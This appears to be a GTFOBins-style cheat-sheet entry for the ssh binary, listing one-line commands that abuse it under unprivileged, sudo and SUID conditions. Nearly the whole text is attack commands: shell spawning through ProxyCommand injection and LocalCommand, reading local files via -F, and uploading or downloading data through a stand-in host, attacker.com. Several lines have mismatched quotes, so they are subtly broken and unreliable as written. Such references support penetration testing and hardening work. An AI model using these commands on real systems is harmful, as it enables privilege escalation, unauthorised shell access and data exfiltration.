This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
ssh localhost /bin/sh
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ssh localhost /bin/sh
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
ssh localhost /bin/sh
This function can be performed by any unprivileged user.
ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
This function can be performed by any unprivileged user.
ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost
This executable can read data from local files.
This function can be performed by any unprivileged user.
ssh -F /path/to/input-file x
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ssh -F /path/to/input-file x
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
ssh -F /path/to/input-file x
This executable can upload local data.
This function can be performed by any unprivileged user.
echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"
This executable can download remote data.
This function can be performed by any unprivileged user.
ssh user@attacker.com 'cat /path/to/input-file"
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
ssh user@attacker.com 'cat /path/to/input-file"
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
ssh user@attacker.com 'cat /path/to/input-file"